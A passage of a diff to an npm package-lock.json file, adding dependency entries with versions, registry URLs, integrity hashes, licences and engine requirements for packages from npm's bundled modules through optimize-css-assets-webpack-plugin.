"node_modules/npm/node_modules/spdx-exceptions": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "CC-BY-3.0" + }, + "node_modules/npm/node_modules/spdx-expression-parse": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/npm/node_modules/spdx-license-ids": { + "version": "3.0.5", + "dev": true, + "inBundle": true, + "license": "CC0-1.0" + }, + "node_modules/npm/node_modules/split-on-first": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/sshpk": { + "version": "1.17.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ssri": { + "version": "6.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "figgy-pudding": "^3.5.1" + } + }, + "node_modules/npm/node_modules/stream-each": { + "version": "1.2.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "stream-shift": "^1.0.0" + } + }, + "node_modules/npm/node_modules/stream-iterate": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "readable-stream": "^2.1.5", + "stream-shift": "^1.0.0" + } + }, + "node_modules/npm/node_modules/stream-iterate/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/stream-iterate/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/stream-iterate/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/stream-iterate/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/stream-shift": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/strict-uri-encode": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/string_decoder": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/npm/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.2.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/string-width": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/string-width/node_modules/ansi-regex": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/string-width/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/string-width/node_modules/strip-ansi": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/stringify-package": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/strip-ansi": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/strip-eof": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/strip-json-comments": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/supports-color": { + "version": "5.4.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/tar": { + "version": "4.4.19", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "chownr": "^1.1.4", + "fs-minipass": "^1.2.7", + "minipass": "^2.9.0", + "minizlib": "^1.3.3", + "mkdirp": "^0.5.5", + "safe-buffer": "^5.2.1", + "yallist": "^3.1.1" + }, + "engines": { + "node": ">=4.5" + } + }, + "node_modules/npm/node_modules/tar/node_modules/minipass": { + "version": "2.9.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + }, + "node_modules/npm/node_modules/tar/node_modules/safe-buffer": { + "version": "5.2.1", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/tar/node_modules/yallist": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/term-size": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "execa": "^0.7.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/text-table": { + "version": "0.2.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/through": { + "version": "2.3.8", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/through2": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "readable-stream": "^2.1.5", + "xtend": "~4.0.1" + } + }, + "node_modules/npm/node_modules/through2/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/through2/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/through2/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/through2/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/timed-out": { + "version": "4.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/tiny-relative-date": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/tough-cookie": { + "version": "2.5.0", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/tough-cookie/node_modules/punycode": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/tunnel-agent": { + "version": "0.6.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/tweetnacl": { + "version": "0.14.5", + "dev": true, + "inBundle": true, + "license": "Unlicense" + }, + "node_modules/npm/node_modules/typedarray": { + "version": "0.0.6", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/uid-number": { + "version": "0.0.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/umask": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/unique-filename": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "unique-slug": "^2.0.0" + } + }, + "node_modules/npm/node_modules/unique-slug": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4" + } + }, + "node_modules/npm/node_modules/unique-string": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "crypto-random-string": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/unpipe": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/npm/node_modules/unzip-response": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/update-notifier": { + "version": "2.5.0", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "boxen": "^1.2.1", + "chalk": "^2.0.1", + "configstore": "^3.0.0", + "import-lazy": "^2.1.0", + "is-ci": "^1.0.10", + "is-installed-globally": "^0.1.0", + "is-npm": "^1.0.0", + "latest-version": "^3.0.0", + "semver-diff": "^2.0.0", + "xdg-basedir": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/uri-js": { + "version": "4.4.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/npm/node_modules/uri-js/node_modules/punycode": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/url-parse-lax": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "prepend-http": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/util-deprecate": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/util-extend": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/util-promisify": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "object.getownpropertydescriptors": "^2.0.3" + } + }, + "node_modules/npm/node_modules/uuid": { + "version": "3.4.0", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "dev": true, + "inBundle": true, + "license": "MIT", + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/npm/node_modules/validate-npm-package-license": { + "version": "3.0.4", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/npm/node_modules/validate-npm-package-name": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "builtins": "^1.0.3" + } + }, + "node_modules/npm/node_modules/verror": { + "version": "1.10.0", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/npm/node_modules/wcwidth": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/npm/node_modules/which": { + "version": "1.3.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/npm/node_modules/which-module": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/wide-align": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "string-width": "^1.0.2" + } + }, + "node_modules/npm/node_modules/wide-align/node_modules/string-width": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/widest-line": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "string-width": "^2.1.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/worker-farm": { + "version": "1.7.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "errno": "~0.1.7" + } + }, + "node_modules/npm/node_modules/wrap-ansi": { + "version": "5.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "4.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/string-width": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "5.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/wrappy": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/write-file-atomic": { + "version": "2.4.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.11", + "imurmurhash": "^0.1.4", + "signal-exit": "^3.0.2" + } + }, + "node_modules/npm/node_modules/xdg-basedir": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/xtend": { + "version": "4.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/npm/node_modules/y18n": { + "version": "4.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/yallist": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/yargs": { + "version": "14.2.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "cliui": "^5.0.0", + "decamelize": "^1.2.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^15.0.1" + } + }, + "node_modules/npm/node_modules/yargs-parser": { + "version": "15.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + }, + "node_modules/npm/node_modules/yargs-parser/node_modules/camelcase": { + "version": "5.3.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/ansi-regex": { + "version": "4.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/find-up": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/locate-path": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/p-limit": { + "version": "2.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/p-locate": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/p-try": { + "version": "2.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/string-width": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/yargs/node_modules/strip-ansi": { + "version": "5.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npmlog": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", + "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=", + "dev": true, + "dependencies": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "node_modules/nprogress": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/nprogress/-/nprogress-0.2.0.tgz", + "integrity": "sha1-y480xTIT2JVyP8urkH6UIq28r7E=" + }, + "node_modules/nth-check": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.1.tgz", + "integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=", + "dev": true, + "dependencies": { + "boolbase": "~1.0.0" + } + }, + "node_modules/nullthrows": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/nullthrows/-/nullthrows-1.1.1.tgz", + "integrity": "sha512-2vPPEi+Z7WqML2jZYddDIfy5Dqb0r2fze2zTxNNknZaFpVHU3mFB3R+DWeJWGVx0ecvttSGlJTI+WG+8Z4cDWw==", + "peer": true + }, + "node_modules/num2fraction": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", + "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", + "dev": true + }, + "node_modules/number-is-nan": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/oauth-sign": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz", + "integrity": "sha1-Rqarfwrq2N6unsBWV4C31O/rnUM=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/ob1": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.7.tgz", + "integrity": "sha512-DfelfvR843KADhSUATGGhuepVMRcf5VQX+6MQLy5AW0BKDLlO7Usj6YZeAAZP7P86QwsoTxB0RXCFiA7t6S1IQ==", + "peer": true + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", + "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", + "dependencies": { + "copy-descriptor": "^0.1.0", + "define-property": "^0.2.5", + "kind-of": "^3.0.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.0.tgz", + "integrity": "sha512-05KzQ70lSeGSrZJQXE5wNDiTkBJDlUT/myi6RX9dVIvz7a7Qh4oH93BQdiPMn27nldYvVQCKMUaM83AfizZlsQ==", + "dev": true, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/object-keys": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.0.12.tgz", + "integrity": "sha512-FTMyFUm2wBcGHnH2eXmz7tC6IwlqQZ6mVZ+6dm6vZ4IQIHjs6FdNsQBuKGPuUUUY6NfJw2PshC08Tn6LzLDOag==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object-visit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", + "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", + "dependencies": { + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-visit/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.assign": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", + "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", + "dependencies": { + "define-properties": "^1.1.2", + "function-bind": "^1.1.1", + "has-symbols": "^1.0.0", + "object-keys": "^1.0.11" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.getownpropertydescriptors": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.0.3.tgz", + "integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=", + "dev": true, + "dependencies": { + "define-properties": "^1.1.2", + "es-abstract": "^1.5.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/object.omit": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/object.omit/-/object.omit-2.0.1.tgz", + "integrity": "sha1-Gpx0SCnznbuFjHbKNXmuKlTr0fo=", + "dev": true, + "dependencies": { + "for-own": "^0.1.4", + "is-extendable": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", + "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.pick/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.values": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.0.4.tgz", + "integrity": "sha1-5STaCbT2b/Bd9FdUbscqyZ8TBpo=", + "dev": true, + "dependencies": { + "define-properties": "^1.1.2", + "es-abstract": "^1.6.1", + "function-bind": "^1.1.0", + "has": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww==", + "peer": true, + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", + "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", + "dev": true, + "dependencies": { + "mimic-fn": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/open": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/open/-/open-6.4.0.tgz", + "integrity": "sha512-IFenVPgF70fSm1keSd2iDBIDIBZkroLeuffXq+wKTzTJlBpesFWojV9lb8mzOfaAzM1sr7HQHuO0vtV0zYekGg==", + "peer": true, + "dependencies": { + "is-wsl": "^1.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/optimize-css-assets-webpack-plugin": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/optimize-css-assets-webpack-plugin/-/optimize-css-assets-webpack-plugin-5.0.0.tgz", + "integrity": "sha512-MXqrLyfiOOpwm+TOWjGskX+sIgu7qlW2oozkEKnS8Z+LWAkSK7Qf6PV9RGRfMd7GmRX3zW2A3oRo0+f23POcXQ==", + "dev": true, + "dependencies": { + "cssnano": "^4.0.2", + "last-call-webpack-plugin": "^3.0.0" + }, + "peerDependencies": { + "webpack": "^4.0.0" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/optimize-css-assets-webpack-plugin/node_modules/cosmiconfig": { + "version": "5.0.5", + "resolved": 